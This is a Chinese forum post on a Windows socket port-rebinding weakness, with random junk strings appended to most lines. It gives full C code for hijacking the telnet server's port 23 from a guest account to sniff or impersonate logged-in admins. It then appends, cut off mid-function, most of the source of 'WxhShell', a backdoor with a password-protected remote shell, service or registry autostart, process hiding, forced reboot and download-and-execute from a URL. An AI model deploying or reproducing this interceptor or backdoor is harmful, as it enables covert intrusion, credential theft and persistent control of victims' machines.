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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w ufKb.4`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0?&aV_:;X  
l b1sV  
  saddr.sin_family = AF_INET; *+,Lc1|\  
)z*$`?)k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sGDrMAQt  
a dz;N;rIY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "z(fBnv  
:+gCO!9Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =aCIaL&9Y  
eqUn8<<s  
  这意味着什么?意味着可以进行如下的攻击: +hKPOFa'  
T0np<l]A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pn_gq~5ng  
H/v37%p7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9q0,K" x)  
Ygkd~g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 31o7R &v  
Z+"E*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^v'g~+@o  
|"tV["a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N:gstp  
^) b7m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dC;d>j,  
U}vtVvx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t&Y^W <  
Q&U= jX  
  #include CsST-qxg  
  #include /+JP~ K  
  #include I +4qu|0lA  
  #include    Vo9)KxR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GF.g'wYc)Y  
  int main() \8>N<B)  
  { B=RKi\K6a  
  WORD wVersionRequested; 0\ytBxL  
  DWORD ret; $gD(MKR)~  
  WSADATA wsaData; /RULPd PH  
  BOOL val; [Xo J7  
  SOCKADDR_IN saddr; 7[?}kG   
  SOCKADDR_IN scaddr; $, @ rKRY  
  int err; ~zOU/8n ,F  
  SOCKET s; Rx"VscB6z  
  SOCKET sc; K v>#  
  int caddsize; 7QL) }b.H  
  HANDLE mt; >,Swk3  
  DWORD tid;   W,oV$ s^  
  wVersionRequested = MAKEWORD( 2, 2 ); c.me1fGn  
  err = WSAStartup( wVersionRequested, &wsaData ); Pc:'>,3!V3  
  if ( err != 0 ) { Mud\Q["  
  printf("error!WSAStartup failed!\n"); c$Nl-?W  
  return -1; V9 t:JY  
  } AxqTPx7`|  
  saddr.sin_family = AF_INET; I:2jwAl  
   <HX-qNA?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w\Eve:  
_f2iz4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g8@i_  
  saddr.sin_port = htons(23); &7y1KwfXn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R8Ei:f}  
  { ` ];[T=  
  printf("error!socket failed!\n"); ;0}"2aGY  
  return -1; ea;c\84_N  
  } a +Qj[pS  
  val = TRUE; JG+o~tQC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RPqn#B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i*rv_G|(Zj  
  { K1:)J.ca_  
  printf("error!setsockopt failed!\n");  [ ^ \)  
  return -1; T//+&Sk[  
  } :r+ 1>F$o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;@\J scNJ|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 20xGj?M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~bQ:gArk  
@?NLME  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BP><G^  
  { .:Xe*Q  
  ret=GetLastError(); jtCob'n8  
  printf("error!bind failed!\n"); g(/O)G.  
  return -1; !f[N&se  
  } xg!\C@$  
  listen(s,2); ,(b~L<zN&  
  while(1) ^Q:`2C5  
  { T[K?A+l  
  caddsize = sizeof(scaddr); e"09b<69  
  //接受连接请求 F#9KMu<<cI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T>?1+mruM  
  if(sc!=INVALID_SOCKET) 4y)1*VU:  
  { m#(x D~V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BU .G~0  
  if(mt==NULL) u9%:2$[  
  { C8SNSeg  
  printf("Thread Creat Failed!\n"); |-?b)yuAz  
  break; gU$3Y#R  
  } 0a;zT O/"v  
  } m=y)i]=1  
  CloseHandle(mt); r!=VV!XZ  
  } xpo}YF'5  
  closesocket(s); !kYmrj**  
  WSACleanup(); Msdwv.jM  
  return 0; 2^j9m}`  
  }   7~g0{W>Zm  
  DWORD WINAPI ClientThread(LPVOID lpParam) p`ZGV97  
  { [r~l O@  
  SOCKET ss = (SOCKET)lpParam; 3<SC`6'?  
  SOCKET sc; nP /$uj  
  unsigned char buf[4096]; aesFv)5DK  
  SOCKADDR_IN saddr; |8rJqtf +&  
  long num; Fs~-exY1  
  DWORD val; 0<;B2ce  
  DWORD ret; l#:Q V:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 J)+eEmrU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   s!\L1E  
  saddr.sin_family = AF_INET; !r,d rb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3s Nq3I  
  saddr.sin_port = htons(23); \/G Y0s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n(MEG'9}  
  { O2B$c\pw  
  printf("error!socket failed!\n"); D[?|\?  
  return -1; pu#<qD*w  
  } [Hf FC3U  
  val = 100; {,-#;A*yW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) djp(s$:{4  
  { E{B<}n|}&  
  ret = GetLastError(); &kE|~i:=,9  
  return -1; e76)z; '  
  } mUw,q;{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _X/`4 G  
  { 19DW~kvYk  
  ret = GetLastError(); _XtY/7n  
  return -1; P&VI2k  
  } F'!}$oT"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) + u+fEg/A  
  { l@ K<p  
  printf("error!socket connect failed!\n"); UYUd IIoL  
  closesocket(sc); xg&vZzcl  
  closesocket(ss); I1jF`xQ&0  
  return -1; GKr L  
  } "M]]H^r5  
  while(1) d0d2QRX  
  { U# gmk0>t{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #e[5O| V~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +{Ttv7l_2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M9nYt~vHX  
  num = recv(ss,buf,4096,0); ZhU2z*qN#  
  if(num>0) ;8UHPDnst  
  send(sc,buf,num,0); Yy]He nw;  
  else if(num==0) Qpc>5p![3  
  break; +$C5V,H ~  
  num = recv(sc,buf,4096,0); H{If\B%1t  
  if(num>0) n@f@-d$m\<  
  send(ss,buf,num,0); uU0'y4=  
  else if(num==0) !xSGZ D=AD  
  break; M*Xzr .6  
  } FqySnrJQ  
  closesocket(ss); "#%T*c{Tf0  
  closesocket(sc); IN"qJ3<k  
  return 0 ; I`7[0jA~  
  } Z q)A"'Y  
Zx6BK=4G  
*hba>LZ  
========================================================== ]4PG[9J@  
!#QD;,SE+  
下边附上一个代码,,WXhSHELL MWB?V?qPSC  
n:{yri+  
========================================================== 3't?%$'5  
| =&r) ~  
#include "stdafx.h" p-Z5{by  
] GJskBm  
#include <stdio.h> |dvcDx0|K  
#include <string.h> 0z .&  
#include <windows.h> B; ~T|exu  
#include <winsock2.h> -7CkOZT  
#include <winsvc.h> !|SawT5t   
#include <urlmon.h> `ainJs:B  
`eA0Z:`g!  
#pragma comment (lib, "Ws2_32.lib") [e (-  
#pragma comment (lib, "urlmon.lib") |oX l+&u  
4JucNGv  
#define MAX_USER   100 // 最大客户端连接数 0@2%pIq\  
#define BUF_SOCK   200 // sock buffer GerZA#  
#define KEY_BUFF   255 // 输入 buffer 18~j>fN  
& )Z JT.S  
#define REBOOT     0   // 重启 :E.mU{  
#define SHUTDOWN   1   // 关机 %"o4IYV#  
+:D0tYk2B  
#define DEF_PORT   5000 // 监听端口 l-5-Tf&j  
p[cC%3  
#define REG_LEN     16   // 注册表键长度 Da.vyp  
#define SVC_LEN     80   // NT服务名长度 [qc90)^Q,  
-)w/nq  
// 从dll定义API lgU7jn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]F,5Oh :OY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y2)~ljR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kIQMIL0+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o4d>c{p  
_T H'v:C  
// wxhshell配置信息 iidK}<o  
struct WSCFG { ?=aQG0  
  int ws_port;         // 监听端口 O -@7n0  
  char ws_passstr[REG_LEN]; // 口令 +3VY0J  
  int ws_autoins;       // 安装标记, 1=yes 0=no nlh%O@,  
  char ws_regname[REG_LEN]; // 注册表键名 /|Zk$q.\  
  char ws_svcname[REG_LEN]; // 服务名 HyZh27PE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N"T+. r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +YXyfTa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r"^P>8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no znD0&CS9q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7N 7W0Ky  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wO.T"x%X  
|ZC@l^a7  
}; Wa.y7S0(@  
%=e^MN1  
// default Wxhshell configuration 6 b-'Hui+  
struct WSCFG wscfg={DEF_PORT, 9(eTCe-~6  
    "xuhuanlingzhe", (.^KuXd  
    1, j2^Vz{  
    "Wxhshell", 2D;2QdO  
    "Wxhshell", Klrd|;C  
            "WxhShell Service", WstX>+?'  
    "Wrsky Windows CmdShell Service", /3#)  
    "Please Input Your Password: ", V96:+r  
  1, m9Xauk$(  
  "http://www.wrsky.com/wxhshell.exe", +@G#Z3;l!  
  "Wxhshell.exe" D6N 32q@  
    }; Zmx[:-  
E/OfkL*\  
// 消息定义模块 <!;NJLe`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v-(dh5e` H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vX30Ijm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *{<46 0`!q  
char *msg_ws_ext="\n\rExit."; nOTe 3?i>  
char *msg_ws_end="\n\rQuit."; erlg\-H   
char *msg_ws_boot="\n\rReboot..."; 4m1@lnjp  
char *msg_ws_poff="\n\rShutdown..."; <~z@G MQCf  
char *msg_ws_down="\n\rSave to "; Ky[s& >02  
_D"V^4^yqu  
char *msg_ws_err="\n\rErr!"; 4p<c|(f#  
char *msg_ws_ok="\n\rOK!"; T0|hp7WM  
'/2)I8  
char ExeFile[MAX_PATH]; s+0n0C  
int nUser = 0; F rd>+   
HANDLE handles[MAX_USER]; 2=IZD `{!  
int OsIsNt; JCjV,  
# KUN ZW  
SERVICE_STATUS       serviceStatus; Q3<ctd\]Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k 5gvo  
VPvQ]}g6k  
// 函数声明 HC!5AJ&+}v  
int Install(void); `g vd 8^  
int Uninstall(void); C23Gp3_0/  
int DownloadFile(char *sURL, SOCKET wsh); 0u}+n+\g  
int Boot(int flag); X"!tx  
void HideProc(void); h^v+d*R N  
int GetOsVer(void); O[+\` 63F=  
int Wxhshell(SOCKET wsl); ,5& Rra/  
void TalkWithClient(void *cs); * `3+x  
int CmdShell(SOCKET sock); woUt*G@  
int StartFromService(void); K!a7Hg  
int StartWxhshell(LPSTR lpCmdLine); @{@DGc  
$Zn>W@\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m`&6[[)6~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m$`4.>J  
J3 xi5S  
// 数据结构和表定义 Ri/D>[  
SERVICE_TABLE_ENTRY DispatchTable[] = 8;i'dF:)  
{ Wgm{ ]9Q  
{wscfg.ws_svcname, NTServiceMain}, R-6km Tex>  
{NULL, NULL} >p29|TFbV  
}; 8Xa{.y"  
w""  
// 自我安装 LIRL`xU7  
int Install(void) >P}6/L  
{ &UQP9wS4v  
  char svExeFile[MAX_PATH]; !JQ'~#jKN  
  HKEY key; 'XI-x[w  
  strcpy(svExeFile,ExeFile); s+9b.  
b\vL^\bX8  
// 如果是win9x系统,修改注册表设为自启动 8b X?HeYrr  
if(!OsIsNt) { 6$G@>QCBS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QV8;c^EZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MtG~ O;?8  
  RegCloseKey(key); \ccCrDz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }g"K\x:Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5XZ\7Z|  
  RegCloseKey(key); 3J[ 5^  
  return 0; `G2!{3UD  
    } gmCB4MO  
  } ]Z>zf]<  
}  s x)x7  
else { i}kMo@  
i%otvDn1  
// 如果是NT以上系统,安装为系统服务 *40Z }1ng  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sf,9Ym  
if (schSCManager!=0) &!? qSi~V  
{ wV"C ,*V  
  SC_HANDLE schService = CreateService 98%6Z8AS6U  
  ( M(.]?+  
  schSCManager, e ls&_BPE  
  wscfg.ws_svcname, hQ Lh}}B  
  wscfg.ws_svcdisp, +||[H)qym  
  SERVICE_ALL_ACCESS, trg&^{D<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s/OXZ<C|  
  SERVICE_AUTO_START, 8Og)(BC  
  SERVICE_ERROR_NORMAL, ^ =RSoR  
  svExeFile, .KxE>lJbqM  
  NULL, 6gD|QC~;  
  NULL, *Vp$#Rb  
  NULL, y:dwx*Q9I  
  NULL, V5]:^=  
  NULL )}SiM{g  
  ); Yd$64d7,h  
  if (schService!=0) n4G53+y'  
  { 5h>t4 [~  
  CloseServiceHandle(schService); q^+Z>   
  CloseServiceHandle(schSCManager); #mbl4a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xj;5i Vq  
  strcat(svExeFile,wscfg.ws_svcname); m NApFwZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `L?9-)m<f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g<PdiVp+  
  RegCloseKey(key); Zbjj>*2%^  
  return 0; b6gD*w <  
    } ^<nN~@j  
  } n`g:dz  
  CloseServiceHandle(schSCManager); Ia>>b #h  
} ,__|SnA.  
} 6882:,q  
0Z>oiBr4  
return 1; e,Fe,5E&g  
} 1Qgd^o:d  
>zWVM1\\j  
// 自我卸载 _\2^s&iJh  
int Uninstall(void) N3g?gb"Ex)  
{ Ss{  
  HKEY key; #L,5;R{`  
\^%5!  
if(!OsIsNt) { 5s2334G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N^8 lfc$a  
  RegDeleteValue(key,wscfg.ws_regname); =m= utd8  
  RegCloseKey(key); me`( J y<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q.[^5 8  
  RegDeleteValue(key,wscfg.ws_regname); "RJf2~(ZX  
  RegCloseKey(key); P=9Zm  
  return 0; "Z6:d"S`  
  } ]]Da/^K=Z  
} GQ8r5V4:  
} _[W`!#"  
else { !j.jvI%e;  
c/57_fOK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  ]=g |e  
if (schSCManager!=0) ;{~F7:i  
{ tEl4 !v A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {G%!M+n<  
  if (schService!=0) !&Q3>8l  
  { *ad"3>  
  if(DeleteService(schService)!=0) { RKP->@Gs  
  CloseServiceHandle(schService); N{G+|WmQ  
  CloseServiceHandle(schSCManager); 0|:Ic,  
  return 0; $|YIr7?R  
  } ]4>[y?k34  
  CloseServiceHandle(schService); .SdEhW15)  
  } 4 1TB  
  CloseServiceHandle(schSCManager); TPds)osZT  
} >cD+&h34  
} w%k)J{\  
EhybaRy;C  
return 1; hqY9\,.C  
} %6"b< MAO  
h tn2`  
// 从指定url下载文件 _|Ml6;1aZ  
int DownloadFile(char *sURL, SOCKET wsh) wDZFOx0#8  
{ [j0I}+@4H  
  HRESULT hr; K0\a+6kh  
char seps[]= "/"; d/(=q  
char *token; ;NRT a*  
char *file; c+G: bb%p  
char myURL[MAX_PATH]; N)h>Ie  
char myFILE[MAX_PATH]; H+3I[`v  
BQB O]<99  
strcpy(myURL,sURL); E!VAA=  
  token=strtok(myURL,seps); 64 \ZOG\,  
  while(token!=NULL) 4W.;p"S2  
  { tT yu,%/m  
    file=token; %i%Xi+{3  
  token=strtok(NULL,seps); @WEem(@  
  } J6 [x(T  
i:kWO7aP  
GetCurrentDirectory(MAX_PATH,myFILE); %TG$5' )0  
strcat(myFILE, "\\"); :Rt5=0x   
strcat(myFILE, file); n/@/yJ<EFi  
  send(wsh,myFILE,strlen(myFILE),0); 7 Nwi\#o  
send(wsh,"...",3,0); dY\"'LtF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (4 {49b  
  if(hr==S_OK) $hSu~}g  
return 0; R C (v#G  
else {|xwvTl J  
return 1; Q '+N72=  
HxY,R ^  
} SC2C%.%l`  
fe37T@  
// 系统电源模块 $xu?zd"  
int Boot(int flag) 1wc -v@E  
{ }7=a,1T  
  HANDLE hToken; fr#lH3  
  TOKEN_PRIVILEGES tkp; ;7`<.y  
Rc6 )v  
  if(OsIsNt) { NxXVW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )i_FU~ LRq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GmL|76  
    tkp.PrivilegeCount = 1; Yn<0D|S;X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kmc9P&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @>9p2u)=  
if(flag==REBOOT) { B?0{=u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =(n'#mV  
  return 0; )%y~{j+M  
} 9uS7G*  
else { / a$+EQ$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~o/^=:*  
  return 0; 99ha /t  
} g Go  
  } :):Y6)giBD  
  else { +1)C&:  
if(flag==REBOOT) { l#~Fe D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Vw{Ys6q  
  return 0; Nu_ w@T\l  
} j&Hn`G  
else { __ mtZ{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DYWC]*  
  return 0; O h" ^  
} CD&m4^X5D  
} lTB!yF.r|  
kH&ZPAI  
return 1; *cf"l  
} aydal 9M  
c"YK+2  
// win9x进程隐藏模块 n21$57`4  
void HideProc(void) 7k\7G=  
{ og\XLJ}_  
}-L@AC/\#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $0*47+f  
  if ( hKernel != NULL ) ZWa#}VS}-n  
  { 6g"<i}_|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _#4,&bh8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3E ZwF  
    FreeLibrary(hKernel); 1ZL_;k  
  } O0{  
YxtkI:C?  
return; {T.Vu]L80  
} ~1'468  
Qf|}%}% fp  
// 获取操作系统版本 Zd(d]M_x  
int GetOsVer(void) ]= NYvv>H  
{ 9Bk}g50$#  
  OSVERSIONINFO winfo; B<XPu=|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0tqR wKL  
  GetVersionEx(&winfo); BZ<z@DJp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jp^WsHI3  
  return 1; L%d?eHF  
  else #P-HV  
  return 0; 48g^~{T4O  
} tKeO+6l  
m[{&xF|_  
// 客户端句柄模块 tTFoS[V  
int Wxhshell(SOCKET wsl) I|IlFu?O=  
{ |2<f<k/UT  
  SOCKET wsh; is?&%VY  
  struct sockaddr_in client; Gr@{p"./z  
  DWORD myID; _A|\.(t  
rgzI  
  while(nUser<MAX_USER) NoAb}1uae  
{ \u _v7g  
  int nSize=sizeof(client); 87(^P3;@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3t8H?B12ow  
  if(wsh==INVALID_SOCKET) return 1; ')<FLCFwT  
]GtR8w@w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  |~uzQU7  
if(handles[nUser]==0) 6&QTVdK'O  
  closesocket(wsh); U\8#Qvghf  
else =P;;&j3Z  
  nUser++; -mHhB(Td'  
  } '}`hY1v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pu$XUt  
]az} n(B,  
  return 0; P>T*:!s;  
} D^s0EW-E  
M}oj!xGB  
// 关闭 socket `;qv}  
void CloseIt(SOCKET wsh) /9+A97{  
{ y[WYH5 &DJ  
closesocket(wsh); ]t*P5  
nUser--; WUWb5xA  
ExitThread(0); Pv-V7`{  
} ua|Z`qUyq  
'Tf#S@o  
// 客户端请求句柄 Go+xL/f  
void TalkWithClient(void *cs) Y5i`pY/}#?  
{ 9Oo*8wvGG  
fpK0MS]=b  
  SOCKET wsh=(SOCKET)cs; Ul713Bjz  
  char pwd[SVC_LEN]; ~\:j9cC  
  char cmd[KEY_BUFF]; Kpp *^  
char chr[1]; 9 /Ai(  
int i,j; c7l!G~yx'  
Xq^y<[  
  while (nUser < MAX_USER) { N]s7/s  
qgC-@I  
if(wscfg.ws_passstr) { af?\kBm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -90ZI1O`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M*~v'L_sI  
  //ZeroMemory(pwd,KEY_BUFF); L >Ez-  
      i=0; *L4]\wf  
  while(i<SVC_LEN) { ;x3 ]4^  
$XQ;~i   
  // 设置超时 61+pryW%g  
  fd_set FdRead; ! F;<xgw  
  struct timeval TimeOut; fs3 -rXoB  
  FD_ZERO(&FdRead); H7tQ#  
  FD_SET(wsh,&FdRead); 8MeO U  
  TimeOut.tv_sec=8; orQV'  
  TimeOut.tv_usec=0; R%)2(\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "x.6W!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }[KDE{,V  
5&-j{J0iV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EBIa%,  
  pwd=chr[0]; f1CMR4D  
  if(chr[0]==0xd || chr[0]==0xa) { ]w_  
  pwd=0; FD XWFJ  
  break; 47C(\\  
  } \C+*loLs  
  i++; QWz Op\+  
    } C)J_lI{^  
(pT(&/\8  
  // 如果是非法用户,关闭 socket rF8W(E_=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o8};e  
} &Hlm{FHU  
\tiUE E|k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Mz/]DJ8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q3NPwM  
{8!ZKlB  
while(1) { 55>" R{q  
{z5V{M(|w3  
  ZeroMemory(cmd,KEY_BUFF); :Wyn+  
RV0>-@/x  
      // 自动支持客户端 telnet标准   }@rg5$W  
  j=0; 7d|*postv  
  while(j<KEY_BUFF) {  !fQJL   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z`emKFbv  
  cmd[j]=chr[0]; 2~G,Ia  
  if(chr[0]==0xa || chr[0]==0xd) { } * ?n?'  
  cmd[j]=0; ,2 zt.aqB  
  break; QvG56:M3  
  } =_$XP   
  j++; E3 ~,+68U  
    } [+g(  
ZdE>C   
  // 下载文件 <ICZ"F`S  
  if(strstr(cmd,"http://")) { 54 M!Fq -  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4zo4H~@gk  
  if(DownloadFile(cmd,wsh)) D~G5]M,}$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,s1&O`  
  else _u:>1]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (v|r'B9 b  
  } q[{:  
  else { (Oxz'#TX  
uL2"StW  
    switch(cmd[0]) { &Q\_;  
  k sB  
  // 帮助 cZNi~  
  case '?': { $x?NNS_ "J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6B7<  
    break; rPRrx-A  
  } BQyvj\uJ  
  // 安装 6-mmi7IfO  
  case 'i': { VK@$JwdL  
    if(Install()) kP7a:(P_g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u~" siH  
    else ~R :<Bw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m!rwG(  
    break; VLf g[*k  
    } sCVI 2S!L  
  // 卸载 k1wCa^*gc  
  case 'r': { .qSBh hH\  
    if(Uninstall()) M6J/mOVx5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ./#e1m?.  
    else fJX\'Rc\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o[o:A|n  
    break; M(qxq(#{U  
    } . 3Gn ZR,L  
  // 显示 wxhshell 所在路径 kt :)W])V  
  case 'p': { } <SNO)h3  
    char svExeFile[MAX_PATH]; 3@&bxYXm  
    strcpy(svExeFile,"\n\r"); =g@R%NDNV  
      strcat(svExeFile,ExeFile); 6G'<[gL j  
        send(wsh,svExeFile,strlen(svExeFile),0); Y5HfN[u^7  
    break; I[ai:   
    } Yy]T J  
  // 重启 [_h%F,_ A  
  case 'b': { lj)f4zu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JL.5QzA  
    if(Boot(REBOOT)) QjLji +L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [(1O"  
    else { NUMi])HkN  
    closesocket(wsh); #Rc5c+/(  
    ExitThread(0); ?L=A2C\_-  
    } ):krJ+-/y  
    break; gC`)]*'tE  
    } On4w/L9L5  
  // 关机 Y~az!8j;Z  
  case 'd': { ?yp0$r/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P<u"97@8a  
    if(Boot(SHUTDOWN)) 27>a#vCT  
